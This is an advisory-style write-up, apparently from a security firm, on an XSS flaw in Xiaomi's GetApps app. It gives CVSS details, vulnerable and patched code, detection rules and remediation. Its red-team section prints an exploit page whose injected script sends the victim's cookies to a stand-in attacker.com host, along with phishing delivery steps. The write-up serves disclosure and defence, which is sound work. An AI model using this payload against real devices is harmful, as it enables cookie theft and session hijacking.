CVE-2024-4406

Executive Summary

CVE-2024-4406 is a critical Cross-Site Scripting (XSS) vulnerability in the Xiaomi Pro 13 smartphone's GetApps application, specifically within the integral-dialog-page.html component. The flaw allows remote attackers to execute arbitrary JavaScript code in the context of the user's browser session by injecting malicious scripts via the integralInfo parameter. User interaction is required (e.g., visiting a malicious page or opening a crafted file). With a CVSS score of 8.8, this vulnerability poses a high risk to user privacy and device integrity, potentially enabling data theft, session hijacking, or further device compromise. No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue within Xiaomi's proprietary GetApps application, which is pre-installed on Xiaomi Pro 13 devices. The risk is limited to the device ecosystem and does not affect open-source package registries.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attacker can exploit this remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The victim must click a link or open a file.
• Scope (S): Unchanged (U) – The vulnerable component remains the same.
• Confidentiality (C): High (H) – Full access to user data.
• Integrity (I): High (H) – Attacker can modify data or execute actions.
• Availability (A): High (H) – Potential for denial of service or device lock.

Threat Level: Critical. The combination of remote exploitation, low complexity, and high impact makes this a priority for patching.

Deep Dive & Mechanics

The vulnerability resides in the integral-dialog-page.html file, which is part of the GetApps application on Xiaomi Pro 13 devices. The integralInfo parameter is parsed without proper sanitization, allowing an attacker to inject arbitrary HTML and JavaScript. When a user visits a malicious page or opens a crafted file, the injected script executes in the context of the GetApps application, which may have elevated permissions.

Attack Flow:

1. Attacker crafts a URL or file containing a malicious integralInfo parameter (e.g., ?integralInfo=<script>alert(1)</script>).
2. Victim clicks the link or opens the file on their Xiaomi Pro 13 device.
3. The GetApps application processes the parameter without sanitization.
4. The injected script executes, allowing the attacker to steal cookies, access local storage, or perform actions on behalf of the user.

Root Cause: Lack of input validation and output encoding in the integral-dialog-page.html component.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// integral-dialog-page.html (vulnerable)
function loadIntegralInfo() {
    var params = new URLSearchParams(window.location.search);
    var integralInfo = params.get('integralInfo');
    document.getElementById('info').innerHTML = integralInfo; // No sanitization
}

Patched Code (Conceptual):

// integral-dialog-page.html (patched)
function loadIntegralInfo() {
    var params = new URLSearchParams(window.location.search);
    var integralInfo = params.get('integralInfo');
    // Sanitize using DOMPurify or similar
    var sanitized = DOMPurify.sanitize(integralInfo);
    document.getElementById('info').textContent = sanitized; // Use textContent instead of innerHTML
}

Key Differences:

• The patched version uses textContent instead of innerHTML to prevent script execution.
• Input is sanitized with a library like DOMPurify before rendering.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A Xiaomi Pro 13 device with GetApps installed.
• A web server to host the malicious page.

Exploit Payload:

<!-- malicious.html -->
<!DOCTYPE html>
<html>
<body>
<script>
    // Redirect to vulnerable page with payload
    window.location = "intent://integral-dialog-page.html?integralInfo=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>#Intent;scheme=https;package=com.xiaomi.getapps;end";
</script>
</body>
</html>

Usage:

1. Host the above HTML on an attacker-controlled server.
2. Send the link to the victim via phishing or social engineering.
3. When the victim clicks, the script executes and exfiltrates cookies.

Blue Team (Defender)

Detection:

• Monitor for unusual integralInfo parameters in network traffic.
• Use endpoint detection to flag GetApps processes executing unexpected scripts.

Mitigation:

• Block access to known malicious domains.
• Implement Content Security Policy (CSP) headers for GetApps.
• Educate users not to click suspicious links.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests containing integralInfo=<script> or similar patterns.
  • Outbound connections to unknown domains from the GetApps process.
• File:
  • Modified integral-dialog-page.html with injected scripts.
• Behavioral:
  • Unexpected pop-ups or redirects within GetApps.
  • Unauthorized data exfiltration attempts.

Detection Engineering

YARA Rule

rule CVE_2024_4406_Xiaomi_GetApps_XSS {
    meta:
        description = "Detects malicious integralInfo parameter in Xiaomi GetApps"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-4406"
    strings:
        $xss_payload = /integralInfo=.*<script[^>]*>.*<\/script>/i
        $xss_event = /integralInfo=.*on\w+\s*=/i
    condition:
        any of them
}

Sigma Rule

title: Xiaomi GetApps XSS via integralInfo Parameter
id: 8f2a1b3c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects attempts to exploit CVE-2024-4406 by injecting scripts into the integralInfo parameter.
author: Valters IT
logsource:
    category: proxy
    product: generic
detection:
    selection:
        c-uri|contains: "integralInfo="
        c-uri|contains|all:
            - "<script"
            - "</script>"
    condition: selection
falsepositives:
    - Legitimate use of script tags in rare cases (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-4406 Xiaomi GetApps XSS Attempt"; flow:to_server,established; content:"integralInfo="; nocase; content:"<script"; nocase; distance:0; within:100; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable GetApps if not required, or restrict its network access via firewall.
2. Apply input validation on the integralInfo parameter (e.g., reject any HTML tags).
3. Use Content Security Policy (CSP) to block inline scripts.

Long-Term Fix:

• Xiaomi must release a firmware update that sanitizes the integralInfo parameter.
• Developers should use safe DOM methods (e.g., textContent) and libraries like DOMPurify.

Workarounds:

• Users can install a third-party browser with script blocking.
• Enterprise devices can use MDM to block the GetApps application.

Valters IT